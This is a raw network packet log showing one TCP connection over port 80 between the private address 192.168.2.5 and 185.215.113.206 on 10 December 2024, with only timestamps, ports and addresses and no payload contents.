Dec 10, 2024 02:50:34.436721087 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.436769009 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.436805964 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.437774897 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.437819958 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.437864065 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.437906981 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.438889027 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.438934088 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.438972950 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.439013004 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.439994097 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.440042973 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.440140963 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.440185070 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.487323046 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.487386942 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.487421989 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.487468004 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.487623930 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.487689018 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.487725019 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.487766981 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.488717079 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.488764048 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.488837957 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.488883972 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.489830971 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.489876986 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.489943981 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.489989042 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.490933895 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.490986109 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.491058111 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.491102934 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.492053032 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.492099047 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.492150068 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.492185116 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.493148088 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.493196011 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.493252039 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.493292093 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.494266987 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.494318962 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.494366884 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.494410992 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.495414972 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.495461941 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.495533943 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.495579004 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.496495962 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.496548891 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.496577978 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.496622086 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.497598886 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.497642994 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.497692108 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.497734070 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.498692989 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.498737097 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.498894930 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.498938084 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.499809027 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.499855042 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.499918938 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.499962091 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.500931978 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.500974894 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.501121998 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.501164913 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.502032995 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.502078056 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.502139091 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.502187967 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.503153086 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.503201962 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.503237009 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.503278971 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.504260063 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.504304886 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.504364014 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.504405975 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.505359888 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.505399942 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.505466938 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.505511045 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.506486893 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.506526947 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.506594896 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.506639004 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.507601023 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.507646084 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.507709026 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.507747889 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.508692026 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.508735895 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.508786917 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.508827925 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.509795904 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.509840012 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.509896994 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.509936094 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.510915995 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.510958910 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.511086941 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.511130095 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.512033939 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.512077093 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.512139082 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.512177944 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.513125896 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.513169050 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.513232946 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.513276100 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.514261961 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.514307022 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.514338970 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.514377117 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.515345097 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.515388012 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.515450001 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.515499115 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.516479015 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.516525030 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.516561031 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.516603947 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.517590046 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.517633915 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.517697096 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.517744064 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.518668890 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.518716097 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.518799067 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.518842936 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.519774914 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.519819021 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.519872904 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.519915104 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.520899057 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.520956039 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.521018982 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.521064043 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.522018909 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.522063971 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.522136927 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.522186995 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.523135900 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.523175955 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.523214102 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.523258924 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.611577988 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.611664057 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.611727953 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.611772060 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.612112045 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.612171888 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.612230062 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.612386942 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.613198996 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.613256931 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.613626003 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.613686085 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.613791943 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.613852978 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.614743948 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.614821911 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.614865065 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.615041018 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.615818977 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.615870953 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.615968943 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.616024017 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.616945982 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.616993904 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.617100954 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.617141008 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.618058920 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.618105888 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.618179083 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.618218899 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.619169950 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.619215012 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.619285107 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.619328022 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.620284081 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.620331049 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.620464087 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.620511055 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.621390104 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.621433020 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.621556044 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.621599913 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.622490883 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.622548103 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.622637987 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.622680902 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.623608112 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.623652935 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.623811007 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.623855114 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.624715090 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.624758959 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.624856949 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.624900103 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.625852108 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.625890970 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.626019955 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.626061916 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.626935005 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.626980066 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.627115965 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.627161980 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.628038883 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.628082037 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.628213882 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.628254890 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.629177094 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.629220009 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.629334927 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.629376888 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.630261898 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.630306005 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.630378962 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.630419016 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.631377935 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.631417990 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.631469965 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.631509066 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.632488012 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.632531881 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.632599115 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.632638931 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.688704014 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.688771963 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.688783884 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.688822031 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.689269066 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.689316988 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.689376116 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.689416885 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.690319061 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.690368891 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.690455914 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.690498114 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.691443920 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.691494942 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.691534042 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.691574097 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.692537069 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.692589045 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.692672014 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.692712069 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.693653107 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.693701029 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.693768978 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.693809032 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.694766998 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.694816113 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.694850922 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.694885015 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.695882082 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.695930958 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.695977926 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.696018934 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.696989059 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.697037935 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.697082043 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.697123051 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.698100090 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.698152065 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.698183060 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.698224068 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.699188948 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.699249983 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.699347973 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.699394941 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.700279951 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.700333118 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.700395107 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.700437069 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.701412916 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.701452971 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.701533079 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.701586962 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.702522039 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.702567101 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.702636003 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.702680111 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.703629971 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.703675985 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.703737020 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.703774929 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.704730034 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.704773903 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.704834938 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.704874039 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.705847979 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.705897093 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.705946922 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.705992937 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.706964970 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.707009077 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.707077980 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.707122087 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.708069086 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.708123922 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.708179951 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.708218098 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.709229946 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.709275961 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.709340096 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.709383965 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.710314035 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.710361958 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.710421085 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.710463047 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.711416006 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.711462021 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.711505890 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.711544991 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.712536097 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.712585926 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.712681055 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.712722063 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.713654041 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.713707924 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.713747025 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.713785887 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.714732885 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.714777946 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.714821100 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.714939117 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.715831041 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.715873957 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.715964079 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.716002941 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.716952085 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:34.716994047 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:34.717052937 CET	80	49763	185.215.113.206	192.168.2.5
